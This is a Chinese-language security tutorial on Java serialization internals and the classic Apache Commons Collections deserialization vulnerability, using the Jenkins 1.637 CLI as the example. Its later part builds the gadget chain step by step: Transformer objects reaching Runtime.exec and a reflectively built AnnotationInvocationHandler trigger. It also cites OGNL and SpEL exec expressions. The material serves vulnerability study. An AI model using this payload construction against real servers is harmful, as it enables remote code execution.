作者:gyyyy@獵戶攻防實驗室
公眾號:獵戶攻防實驗室
序列化機制
序列化 (Serialization) 是指將數據結構或對象狀態轉換成字節流 (例如存儲成文件、內存緩衝,或經由網絡傳輸) ,以留待後續在相同或另一台計算機環境中,能夠恢復對象原來狀態的過程。序列化機制在Java中有着廣泛的應用,EJB、RMI、Hessian等技術都以此為基礎。
序列化
我們先用一個簡單的序列化示例來看看Java究竟是如何對一個對象進行序列化的:
public class SerializationDemo implements Serializable { private String stringField; private int intField; public SerializationDemo(String s, int i) { this.stringField = s; this.intField = i; } public static void main(String[] args) throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bout); out.writeObject(new SerializationDemo("gyyyy", 97777)); } }
如果熟悉PHP的同學應該知道,這個對象在經過PHP序列化后得到的字符串如下 (因為PHP與Java的編程習慣有所區別,這裡字段訪問權限全改為了public,private和protected從表現形式上來說差不多,只是多了些特殊的標識而已,為了減少一些零基礎的同學不必要的疑惑,這裡暫不討論) :
O:17:"SerializationDemo":2:{s:11:"stringField";s:5:"gyyyy";s:8:"intField";i:97777;}
其中,O:17:"..."
表示當前是一個對象,以及該對象類名的字符串長度和值,2:{...}
表示該類有2個字段 (元素間用;分隔,鍵值對也分為前後兩個元素表示,也就是說,如果是2個字段,則總共會包含4個元素) ,s:11:"..."
表示當前是一個長度為11的字符串,i:...
表示當前是一個整數。
由此可知,PHP序列化字符串基本上是可人讀的,而且對於類對象來說,字段等成員屬性的序列化順序與定義順序一致。我們完全可以通過手工的方式來構造任意一個PHP對象的序列化字符串。
而該對象經過Java序列化后得到的則是一個二進制串:
ac ed 00 05 73 72 00 11 53 65 72 69 61 6c 69 7a ....sr.. Serializ 61 74 69 6f 6e 44 65 6d 6f d9 35 3c f7 d6 0a c6 ationDem o.5<.... d5 02 00 02 49 00 08 69 6e 74 46 69 65 6c 64 4c ....I..i ntFieldL 00 0b 73 74 72 69 6e 67 46 69 65 6c 64 74 00 12 ..string Fieldt.. 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e Ljava/la ng/Strin 67 3b 78 70 00 01 7d f1 74 00 05 67 79 79 79 79 g;xp..}. t..gyyyy
仔細觀察二進制串中的部分可讀數據,我們也可以差不多分辨出該對象的一些基本內容。但同樣為了手寫的目的 (為什麼有這個目的?原因很簡單,為了不被語言環境束縛) ,以及為接下來的序列化執行流程分析做準備,我們先依次來解讀一下這個二進制串中的各個元素。
0xaced
,魔術頭0x0005
,版本號 (JDK主流版本一致,下文如無特殊標註,都以JDK8u為例)0x73
,對象類型標識 (0x7n基本上都定義了類型標識符常量,但也要看出現的位置,畢竟它們都在可見字符的範圍,詳見java.io.ObjectStreamConstants)0x72
,類描述符標識0x0011...
,類名字符串長度和值 (Java序列化中的UTF8格式標準)0xd9353cf7d60ac6d5
,序列版本唯一標識 (serialVersionUID,簡稱SUID)0x02
,對象的序列化屬性標誌位,如是否是Block Data模式、自定義writeObject()
,Serializable
、Externalizable
或Enum
類型等0x0002
,類的字段個數0x49
,整數類型簽名的第一個字節,同理,之後的0x4c
為字符串類型簽名的第一個字節 (類型簽名表示與JVM規範中的定義相同)0x0008...
,字段名字符串長度和值,非原始數據類型的字段還會在後面加上數據類型標識、完整類型簽名長度和值,如之後的0x740012...
0x78
Block Data結束標識0x70
父類描述符標識,此處為null
0x00017df1
整數字段intField
的值 (Java序列化中的整數格式標準) ,非原始數據類型的字段則會按對象的方式處理,如之後的字符串字段stringField
被識別為字符串類型,輸出字符串類型標識、字符串長度和值
由此可以看出,除了基本格式和一些整數表現形式上的不同之外,Java和PHP的序列化結果還是存在很多相似的地方,比如除了具體值外都會對類型進行描述。
需要注意的是,Java序列化中對字段進行封裝時,會按原始和非原始數據類型排序 (有同學可能想問為什麼要這麼做,這裡我只能簡單解釋原因有兩個,一是因為它們兩個的表現形式不同,原始數據類型字段可以直接通過偏移量讀取固定個數的字節來賦值;二是在封裝時會計算原始類型字段的偏移量和總偏移量,以及非原始類型字段的個數,這使得反序列化階段可以很方便的把原始和非原始數據類型分成兩部分來處理) ,且其中又會按字段名排序。
而開頭固定的0xaced0005
也可以作為Java序列化二進制串 (Base64編碼為rO0AB…) 的識別標識。
讓我們把這個對象再改複雜些:
class SerializationSuperClass implements Serializable { private String superField; } class SerializationComponentClass implements Serializable { private String componentField; } public class SerializationDemo extends SerializationSuperClass implements Serializable { private SerializationComponentClass component; // omit }
它序列化后的二進制串大家可以自行消化理解一下,注意其中的嵌套對象,以及0x71
表示的Reference
類型標識 (形式上與JVM的常量池類似,用於非原始數據類型的引用對象池索引,這個引用對象池在序列化和反序列化創建時的元素填充順序會保持一致) :
ac ed 00 05 73 72 00 11 53 65 72 69 61 6c 69 7a ....sr.. Serializ 61 74 69 6f 6e 44 65 6d 6f 1a 7f cd d3 53 6f 6b ationDem o....Sok 15 02 00 03 49 00 08 69 6e 74 46 69 65 6c 64 4c ....I..i ntFieldL 00 09 63 6f 6d 70 6f 6e 65 6e 74 74 00 1d 4c 53 ..compon entt..LS 65 72 69 61 6c 69 7a 61 74 69 6f 6e 43 6f 6d 70 erializa tionComp 6f 6e 65 6e 74 43 6c 61 73 73 3b 4c 00 0b 73 74 onentCla ss;L..st 72 69 6e 67 46 69 65 6c 64 74 00 12 4c 6a 61 76 ringFiel dt..Ljav 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b 78 72 a/lang/S tring;xr 00 17 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 53 ..Serial izationS 75 70 65 72 43 6c 61 73 73 de c6 50 b7 d1 2f a3 uperClas s..P../. 27 02 00 01 4c 00 0a 73 75 70 65 72 46 69 65 6c '...L..s uperFiel 64 71 00 7e 00 02 78 70 70 00 01 7d f1 73 72 00 dq.~..xp p..}.sr. 1b 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 43 6f .Seriali zationCo 6d 70 6f 6e 65 6e 74 43 6c 61 73 73 3c 76 ba b7 mponentC lass<v.. dd 9e 76 c4 02 00 01 4c 00 0e 63 6f 6d 70 6f 6e ..v....L ..compon 65 6e 74 46 69 65 6c 64 71 00 7e 00 02 78 70 70 entField q.~..xpp 74 00 05 67 79 79 79 79 t..gyyyy
簡單的分析一下序列化的執行流程:
-
ObjectOutputStream
實例初始化時,將魔術頭和版本號寫入bout
(BlockDataOutputStream類型) 中 -
調用
ObjectOutputStream.writeObject()
開始寫對象數據-
寫入對象類型標識
-
writeClassDesc()
進入分支writeNonProxyDesc()
寫入類描述數據 -
writeSerialData()
寫入對象的序列化數據 -
寫入類描述符標識
-
寫入類名
-
寫入SUID (當SUID為空時,會進行計算並賦值,細節見下面關於SerialVersionUID章節)
-
計算並寫入序列化屬性標誌位
-
寫入字段信息數據
-
寫入Block Data結束標識
-
寫入父類描述數據
-
若類自定義了
writeObject()
,則調用該方法寫對象,否則調用defaultWriteFields()
寫入對象的字段數據 (若是非原始類型,則遞歸處理子對象) -
ObjectStreamClass.lookup()
封裝待序列化的類描述 (返回ObjectStreamClass
類型) ,獲取包括類名、自定義serialVersionUID
、可序列化字段 (返回ObjectStreamField
類型) 和構造方法,以及writeObject
、readObject
方法等 -
writeOrdinaryObject()
寫入對象數據
-
反序列化
繼續用簡單的示例來看看反序列化:
public static void main(String[] args) throws ClassNotFoundException { byte[] data; // read from file or request ByteArrayInputStream bin = new ByteArrayInputStream(data); ObjectInputStream in = new ObjectInputStream(bin); SerializationDemo demo = (SerializationDemo) in.readObject(); }
它的執行流程如下:
-
ObjectInputStream
實例初始化時,讀取魔術頭和版本號進行校驗 -
調用
ObjectInputStream.readObject()
開始讀對象數據-
readClassDesc()
讀取類描述數據 -
ObjectStreamClass.newInstance()
獲取並調用離對象最近的非Serializable
的父類的無參構造方法 (若不存在,則返回null
) 創建對象實例 -
readSerialData()
讀取對象的序列化數據 -
讀取類描述符標識,進入分支
readNonProxyDesc()
-
讀取類名
-
讀取SUID
-
讀取並分解序列化屬性標誌位
-
讀取字段信息數據
-
resolveClass()
根據類名獲取待反序列化的類的Class
對象,如果獲取失敗,則拋出ClassNotFoundException
-
skipCustomData()
循環讀取字節直到Block Data結束標識為止 -
讀取父類描述數據
-
initNonProxy()
中判斷對象與本地對象的SUID和類名 (不含包名) 是否相同,若不同,則拋出InvalidClassException
-
若類自定義了
readObject()
,則調用該方法讀對象,否則調用defaultReadFields()
讀取並填充對象的字段數據 -
讀取對象類型標識
-
readOrdinaryObject()
讀取數據對象
-
關於SerialVersionUID
在Java的序列化機制中,SUID佔據着很重要的位置,它相當於一個對象的指紋信息,可以直接決定反序列化的成功與否,通過上面對序列化和反序列化流程的分析也可以看出來,若SUID不一致,是無法反序列化成功的。
但是,SUID到底是如何生成的,它的指紋信息維度包括對象的哪些內容,可能還是有很多同學不太清楚。這裡我們對照官方文檔的說明,結合JDK的源代碼來為大家簡單的梳理一下。
首先ObjectStreamClass.getSerialVersionUID()
在獲取SUID時,會判斷SUID是否已經存在,若不存在才調用computeDefaultSUID()
計算默認的SUID:
public long getSerialVersionUID() { if (suid == null) { suid = AccessController.doPrivileged( new PrivilegedAction<Long>() { public Long run() { return computeDefaultSUID(cl); } } ); } return suid.longValue(); }
先順帶提一嘴,AccessController.doPrivileged()
會忽略JRE配置的安全策略的檢查,以特權的身份去執行PrivilegedAction
接口中的run()
,可以防止JDK底層在進行序列化和反序列化時可能出現的一些權限問題。這些內容與本文主題無關,不多作詳細解釋,感興趣的同學可以去看看Java的Security包和其中的java.policy、java.security文件內容。
重點來了,計算SUID時,會先創建一個DataOutputStream
對象,所有二進制數據寫入其包裝的ByteArrayOutputStream
中:
1.寫入類名(UTF8)
dout.writeUTF(cl.getName());
2.寫入類訪問權限標識
int classMods = cl.getModifiers() & (Modifier.PUBLIC | Modifier.FINAL | Modifier.INTERFACE | Modifier.ABSTRACT);Method[] methods = cl.getDeclaredMethods();if ((classMods & Modifier.INTERFACE) != 0) { classMods = (methods.length > 0) ? (classMods | Modifier.ABSTRACT) : (classMods & ~Modifier.ABSTRACT); } dout.writeInt(classMods);
3.如果不是數組類型,寫入實現接口的接口名,按接口名排序
if (!cl.isArray()) { Class<?>[] interfaces = cl.getInterfaces(); String[] ifaceNames = new String[interfaces.length]; for (int i = 0; i < interfaces.length; i++) { ifaceNames[i] = interfaces[i].getName(); } Arrays.sort(ifaceNames); for (int i = 0; i < ifaceNames.length; i++) { dout.writeUTF(ifaceNames[i]); } }
4.寫入非私有靜態或瞬態字段信息數據,包括字段名、字段訪問權限標識和字段簽名,按字段名排序
Field[] fields = cl.getDeclaredFields(); MemberSignature[] fieldSigs = new MemberSignature[fields.length]; for (int i = 0; i < fields.length; i++) { fieldSigs[i] = new MemberSignature(fields[i]); } Arrays.sort(fieldSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2) { return ms1.name.compareTo(ms2.name); } }); for (int i = 0; i < fieldSigs.length; i++) { MemberSignature sig = fieldSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE | Modifier.TRANSIENT); if (((mods & Modifier.PRIVATE) == 0) || ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0)) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature); } }
5.如果存在類初始化器(不是類實例化的構造方法,感興趣的同學可以去看看JVM規範中的相關內容),寫入固定的初始化器信息數據
if (hasStaticInitializer(cl)) { dout.writeUTF("<clinit>"); dout.writeInt(Modifier.STATIC); dout.writeUTF("()V"); }
6.寫入非私有構造方法信息數據,包括方法名(固定為<init>
)、方法訪問權限標識和方法簽名 (分隔符/
會替換成.
的包名形式),按方法簽名排序
Constructor<?>[] cons = cl.getDeclaredConstructors(); MemberSignature[] consSigs = new MemberSignature[cons.length]; for (int i = 0; i < cons.length; i++) { consSigs[i] = new MemberSignature(cons[i]); } Arrays.sort(consSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2) { return ms1.signature.compareTo(ms2.signature); } }); for (int i = 0; i < consSigs.length; i++) { MemberSignature sig = consSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0) { dout.writeUTF("<init>"); dout.writeInt(mods); dout.writeUTF(sig.signature.replace('/', '.')); } }
7.寫入非私有方法,包括方法名、方法訪問權限標識和方法簽名,按方法名和方法簽名排序
MemberSignature[] methSigs = new MemberSignature[methods.length]; for (int i = 0; i < methods.length; i++) { methSigs[i] = new MemberSignature(methods[i]); } Arrays.sort(methSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2) { int comp = ms1.name.compareTo(ms2.name); if (comp == 0) { comp = ms1.signature.compareTo(ms2.signature); } return comp; } }); for (int i = 0; i < methSigs.length; i++) { MemberSignature sig = methSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature.replace('/', '.')); } }
以上就是SUID中包含的類的所有信息,得到的二進制串如下:
00 11 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 44 ..Serial izationD 65 6d 6f 00 00 00 01 00 14 6a 61 76 61 2e 69 6f emo..... .java.io 2e 53 65 72 69 61 6c 69 7a 61 62 6c 65 00 08 69 .Seriali zable..i 6e 74 46 69 65 6c 64 00 00 00 02 00 01 49 00 0b ntField. .....I.. 73 74 72 69 6e 67 46 69 65 6c 64 00 00 00 02 00 stringFi eld..... 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 .Ljava/l ang/Stri 6e 67 3b 00 06 3c 69 6e 69 74 3e 00 00 00 01 00 ng;..<in it>..... 16 28 4c 6a 61 76 61 2e 6c 61 6e 67 2e 53 74 72 .(Ljava. lang.Str 69 6e 67 3b 49 29 56 00 04 6d 61 69 6e 00 00 00 ing;I)V. .main... 09 00 16 28 5b 4c 6a 61 76 61 2e 6c 61 6e 67 2e ...([Lja va.lang. 53 74 72 69 6e 67 3b 29 56 String;)V
最後,將二進制數據通過SHA1算法得到摘要,取前8位按BigEndian的字節順序轉換成長整型:
long hash = 0; for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) { hash = (hash << 8) | (hashBytes[i] & 0xFF); }
返回的hash
就是最終的SUID了。
由此可知,當父類或非原始數據類型字段的類內部發生變更時,並不會影響當前類的SUID值,再結合之前的內容我們還可以引申出兩個結論:
-
若當前類自定義了
readObject()
,在反序列化時會正常執行readObject()
中所有ObjectInputStream.defaultReadObject()
(如果調用了的話) 之前的邏輯;否則在處理到變更對象時,仍會拋出InvalidClassException
-
由於序列化會對類的字段進行排序,並在反序列化時按順序遍歷處理,所以反序列化會正常處理字段名比變更對象類型字段『小』的其他字段
關於writeReplace()
和readResolve()
在前面的執行流程分析中,為了突出主要邏輯,我們主觀的忽略了一些內容,其中就包括了序列化的invokeWriteReplace()
和反序列化的invokeReadResolve()
。
現在就來看看它們分別有什麼作用:
writeReplace()
返回一個對象,該對象為實際被序列化的對象,在原對象序列化之前被調用,替換原對象成為待序列化對象
readResolve()
返回一個對象,該對象為實際反序列化的結果對象,在原對象反序列化之後被調用,不影響原對象的反序列化過程,僅替換結果
再從具體示例來體會一下:
public class SerializationReplacementClass implements Serializable { protected String replacementField; private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } private Object readResolve() { return new SerializationReplacementClass("resolve"); } private SerializationReplacementClass(String s) { this.replacementField = s; } public SerializationReplacementClass() { this.replacementField = "replace"; } } public class SerializationDemo implements Serializable { // omit private Object writeReplace() { return new SerializationReplacementClass(); } // omit public static void main(String[] args) throws ClassNotFoundException { // omit SerializationReplacementClass demo = (SerializationReplacementClass) in.readObject(); } }
從序列化之後得到的二進制串中可以看到目標對象已經被替換成了SerializationReplacementClass
:
ac ed 00 05 73 72 00 1d 53 65 72 69 61 6c 69 7a ....sr.. Serializ 61 74 69 6f 6e 52 65 70 6c 61 63 65 6d 65 6e 74 ationRep lacement 43 6c 61 73 73 32 71 ac e9 c1 d3 0b 7b 02 00 01 Class2q. ....{... 4c 00 10 72 65 70 6c 61 63 65 6d 65 6e 74 46 69 L..repla cementFi 65 6c 64 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 eldt..Lj ava/lang 2f 53 74 72 69 6e 67 3b 78 70 74 00 07 72 65 70 /String; xpt..rep 6c 61 63 65 lace
而在反序列化之後得到的對象的replacementField
字段值則為resolve
,但在此之前readObject()
也會被正常調用,當時replacementField
字段值為replace
。
關於Externalizable
Serializable
接口還有一個比較常見的子類Externalizable
,它比它爸爸特殊的地方就在於它需要自己實現讀寫方法 (readExternal()
和writeExternal()
) ,同時必須包含一個自己的無參構造方法 (默認隱式的也可以) 。
仍以示例說話:
public class ExternalizationDemo implements Externalizable { private String stringField; private int intField; @Override public void writeExternal(ObjectOutput out) throws IOException { out.writeUTF(this.stringField); out.writeInt(this.intField); } @Override public void readExternal(ObjectInput in) throws IOException { this.stringField = "hello, i'm " + in.readUTF(); this.intField = in.readInt() + 100000; } public ExternalizationDemo(String s, int i) { this.stringField = s; this.intField = i; } public ExternalizationDemo() {} }
序列化之後得到的二進制串如下:
ac ed 00 05 73 72 00 13 45 78 74 65 72 6e 61 6c ....sr.. External 69 7a 61 74 69 6f 6e 44 65 6d 6f d9 a9 04 75 84 izationD emo...u. 5d 06 8f 0c 00 00 78 70 77 0b 00 05 67 79 79 79 ].....xp w...gyyy 79 00 01 7d f1 78 y..}.x
與Serializable
的區別:
- 對象的序列化屬性標誌位為
0x0c
,包括Serializable
和Block Data的標誌 - 序列化類的字段個數固定為0
- 序列化調用
writeExternalData()
轉給類自定義的寫方法,將寫入的數據包裝在新的Block Data塊中,第一個字節為塊長度 (不含塊頭尾標識) - 反序列化調用
readExternalData()
轉給類自定義的讀方法,再調用對象的無參構造方法 (若不存在,則返回null) 進行實例化
反序列化漏洞
通過以上對Java的序列化機制的大致了解,我們可以想象一個場景 (有基礎的同學可以跳過本部分內容,當然,看一看也沒壞處) :
當服務端允許接收遠端數據進行反序列化時,客戶端可以提供任意一個服務端存在的對象 (包括依賴包中的對象) 的序列化二進制串,由服務端反序列化成相應對象。如果該對象是由攻擊者『精心構造』的惡意對象,而它自定義的
readObject()
中存在着一些『不安全』的邏輯,那麼在對它反序列化時就有可能出現安全問題。
說到這,我提三個問題,請大家跟着我的思路去分析,先來看看第一個:
- 為什麼需要依賴反序列化對象的自定義
readObject()
?
大家都知道,正常來說,反序列化只是一個對象實例化然後賦值的過程,如果之後不主動調用它的內部方法,理論上最多只能控制它字段的值而已。那麼有沒有什麼辦法能夠讓它執行反序列化以外的邏輯呢?畢竟做的越多中間產生問題的概率就越大。
我們還是先以大家更熟悉的PHP來舉個例。在PHP內部,保留了十多個被稱為魔術方法的類方法,這些魔術方法一般會伴隨着類的生命周期被PHP底層自動調用,用戶可以在類中顯式定義它們的邏輯。
就拿與反序列化關係最密切的__wakeup()
來說,我們回到最初的那個類SerializationDemo
,給它加一點東西:
class SerializationDemo { public function __wakeup() { echo $this->stringField; } }
在反序列化SerializationDemo
這個對象時,就會調用__wakeup()
執行裡面的邏輯。示例中的邏輯只是輸出一個字符串,如果改成exec($this->stringField);
呢?
實際當然不會這麼簡單,有可能它是把自己的字段作為值作為參數調用了某個類的方法,而那個方法里對參數做了某些不安全的操作,甚至有可能經過多個類多個方法調用,形成一個調用鏈。
這就是默認的反序列化邏輯的一個逃逸過程。
到這裡你可能已經想到了,Java反序列化中readObject()
的作用其實就相當於PHP反序列化中的那些魔術方法,使反序列化過程在一定程度上受控成為可能,但也只是可能而已,是否真的可控,還是需要分析每個對象的readObject()
具體是如何實現的 (別急,後面有章節會有詳細介紹) 。
接着看第二個問題:
-
反序列化對象的非
Serializable
父類無參構造方法是否能像PHP中的__construct()
一樣被利用?答案應該是不行的。因為前面已經提到過,我們只能夠控制反序列化對象的字段值,而Java與PHP不同的是,JDK底層會先調用無參構造方法實例化,再讀取序列化的字段數據賦值,所以我們沒有辦法將可控的字段值在實例化階段傳入構造方法中對其內部邏輯產生影響。
最後一個:
-
readResolve()
對反序列化漏洞有什麼影響?readResolve()
只是替換反序列化結果對象,若是結果對象本身存在安全問題,它有可能讓問題中斷;若是readObject()
存在安全問題,它無法避免。
經典的Apache Commons Collections
好,有了上面的基礎,我們也照一回慣例,帶大家一起分析一下Java歷史上最出名也是最具代表性的Apache Commons Collections反序列化漏洞。
網上很多文章都是以WebLogic為漏洞環境,我們尊重開源,圍繞1.637版本的Jenkins來開個頭,先簡單看看它的Cli組件的反序列化場景 (這裡只以CLI-connect協議為例,CLI2-connect會多出來一個SSL加解密的過程,這也是很多公開PoC在模擬Cli握手時選擇CLI-connect協議的原因) :
-
客戶端向發送一個UTF8字符串
Protocol:CLI-connect
,前兩位為字符串長度 -
服務端
TcpSlaveAgentListener
在接收到數據之後,會創建一個ConnectionHandler
對象讀取一個UTF8字符串,判斷協議版本,交給對應的協議進行處理-
Capability.writePreamble()
響應序列化后的Capability
對象,其中使用Mode.TEXT.wrap()
將輸出流包裝為BinarySafeStream
,它會在寫時進行Base64編碼 -
由於
ChannelBuilder
在build之前,調用了withMode()
設置mode為Mode.BINARY
,因此還會響應一個0x00000000
-
等待接收後續數據,判斷數據內容前綴為
Capability.PREAMBLE (<===[JENKINS REMOTING CAPACITY]===>)
時,將InputStream
傳給Capability.read()
-
Capability
同樣會對輸入流做一次BinarySafeStream
包裝,保證在讀數據時解碼得到原始二進制數據,再扔給輸入流的readObject()
繼續讀 -
CliProtocol
響應Welcome字符串,由ChannelBuilder
為兩端創建一個包含了Connection對象 (IO流對象在裡面) 的Channel通信通道,並調用negotiate()
進行交互
-
回看Connection
中自定義的readObject()
,是一個普普通通的ObjectInputStream
反序列化:
public <T> T readObject() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(in); return (T)ois.readObject(); }
現在我們假設已知1.637版本的Jenkins引用了存在反序列化漏洞的Commons Collections的版本的Jar包,那麼只需要利用它構造一個惡意對象的序列化串,在與Jenkins Cli完成握手之後,將其Base64編碼后的字符串發送過去就行了 (當然,千萬別忘了前面那串酷酷的前綴) 。
Payload構造
好的,現在讓我們聚焦到Commons Collections內部,看看前輩們是如何利用它來讓應用『產生』問題的。
我們先預備一個基本知識,在Java中,若想通過其原生JDK提供的接口執行系統命令,最常見的語句如下:
Runtime rt = Runtime.getRuntime(); rt.exec(cmd);
很簡單,一個單例模式的方法獲取到Runtime
的實例,再調用它的exec()
執行命令。在表達式注入類RCE漏洞中也可以頻繁看到利用各種條件特性來構造這段語句的身影,比如Struts2的OGNL:
@java.lang.Runtime@getRuntime().exec(cmd)
又比如Spring的SpEL:
T(java.lang.Runtime).getRuntime().exec(cmd)
這裡替小白問個基礎但又和接下來的內容有關的問題:為什麼都要使用鏈式結構?
原因其實很簡單,因為無論是表達式解析執行還是反序列化時,底層通過反射技術獲取對象調用函數都會存在一個上下文環境,使用鏈式結構的語句可以保證執行過程中這個上下文是一致的。你也可以換個方式問自己,如果你第一次請求Runtime.getRuntime()
,那如何保證第二次請求rt.exec()
能夠拿到第一次的Runtime
對象呢?
了解了這個問題之後,我們就可以開始嘗試用Commons Collections先來構造這個鏈式結構了。
前輩們為我們在Commons Collections中找到了一個用於對象之間轉換的Transformer
接口,它有幾個我們用得着的實現類:
1.ConstantTransformer
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
2.InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { // omit Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); // omit }
3.ChainedTransformer
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
利用這幾個對象,可以構造出下面這條鏈:
Transformer[] trans = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })}; Transformer chain = new ChainedTransformer(trans);
其中,數組的中間兩個元素是最讓人費解的,我們一句一句來解釋 (前方高能預警,請對照上面幾個Transformer的邏輯仔細看,接下來的內容網上有些解釋是存在出入的) :
- 構造一個
ConstantTransformer
,把Runtime
的Class
對象傳進去,在transform()
時,始終會返回這個對象 - 構造一個
InvokerTransformer
,待調用方法名為getMethod
,參數為getRuntime
,在transform()
時,傳入1的結果,此時的input
應該是java.lang.Runtime
,但經過getClass()
之後,cls
為java.lang.Class
,之後getMethod()
只能獲取java.lang.Class
的方法,因此才會定義的待調用方法名為getMethod
,然後其參數才是getRuntime
,它得到的是getMethod
這個方法的Method
對象,invoke()
調用這個方法,最終得到的才是getRuntime
這個方法的Method
對象 - 構造一個
InvokerTransformer
,待調用方法名為invoke
,參數為空,在transform()
時,傳入2的結果,同理,cls
將會是java.lang.reflect.Method
,再獲取並調用它的invoke
方法,實際上是調用上面的getRuntime()
拿到Runtime
對象 - 構造一個
InvokerTransformer
,待調用方法名為exec
,參數為命令字符串,在transform()
時,傳入3的結果,獲取java.lang.Runtime
的exec
方法並傳參調用 - 最後把它們組裝成一個數組全部放進
ChainedTransformer
中,在transform()
時,會將前一個元素的返回結果作為下一個的參數,剛好滿足需求
既然第2、3步這麼繞,我們又知道了為什麼,是不是可以考慮用下面這種邏輯更清晰的方式來構造呢:
Transformer[] trans = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("getRuntime", new Class[0], new Object[0]), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
答案是不行的。雖然單看整個鏈,無論是定義還是執行都是沒有任何問題的,但是在後續序列化時,由於Runtime.getRuntime()
得到的是一個對象,這個對象也需要參與序列化過程,而Runtime
本身是沒有實現Serializable
接口的,所以會導致序列化失敗。
也有同學可能看過ysoserial構造的Payload,它的習慣是先定義一個包含『無效』Transformer
的ChainedTransformer
,等所有對象裝填完畢之後再利用反射將實際的數組放進去。這麼做的原因作者也在一個Issue中給了解釋,我們直接看原文:
Generally any reflection at the end of gadget-chain set up is done to “arm” the chain because constructing it while armed can result in premature “detonation” during set-up and cause it to be inert when serialized and deserialized by the target application.
現在,有了這條Transformer
鏈,就等着誰來執行它的transform()
了。
網上流傳的示例很多都是使用一個名為TransformedMap
的裝飾器來觸發transform()
,它在裝飾時會傳入原始Map
、一個鍵轉換器Transformer
和一個值轉換器Transformer
,而它的父類在內部實現了一個AbstractMapEntryDecorator
的子類,會在setValue()
前調用checkSetValue()
進行檢查,而TransformedMap.checkSetValue()
會調用它的值轉換器的transform()
,因此裝飾任意一個有元素的Map
就可以滿足需求:
Map m = TransformedMap.decorate(new HashMap(){{ put("value", "anything"); }}, null, chain);
這時,我們只需要再找一個包含可控Map
字段,並會在反序列化時對這個Map
進行setValue()
或get()
操作的公共對象。
幸運的是,前輩們在JDK較早的版本中發現了AnnotationInvocationHandler
這個對象 (較新版本的JDK可以使用BadAttributeValueExpException,在這裡就不展開了) ,它在初始化時可以傳入一個Map
類型參數賦值給字段memberValues
,readObject()
過程中如果滿足一定條件就會對memberValues
中的元素進行setValue()
:
private void readObject(java.io.ObjectInputStream s) s.defaultReadObject(); AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
可以看到,在遍歷memberValues.entrySet()
時,會用鍵名在memberTypes
中嘗試獲取一個Class
,並判斷它是否為null
,這就是剛才說的需要滿足的條件。接下來是網上很少提到過的一個結論:
首先,memberTypes
是AnnotationType
的一個字段,裡面存儲着Annotation
接口聲明的方法信息 (鍵名為方法名,值為方法返回類型) 。因此,我們在獲取AnnotationInvocationHandler
實例時,需要傳入一個方法個數大於0的Annotation
子類 (一般來說,若方法個數大於0,都會包含一個名為value的方法) ,並且原始Map
中必須存在任意以這些方法名為鍵名的元素,才能順利進入setValue()
的流程:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructors()[0]; ctor.setAccessible(true); Object o = ctor.newInstance(Target.class, m);
以上是TransformedMap
的利用構造過程。而ysoserial官方更傾向於使用LazyMap
作為裝飾器,它在裝飾時會傳入原始Map
和一個Transformer
作為工廠,當get()
獲取值時,若鍵不存在,就會調用工廠的transform()
創建一個新值放入Map
中,因此裝飾任意一個空Map
也可以滿足需求:
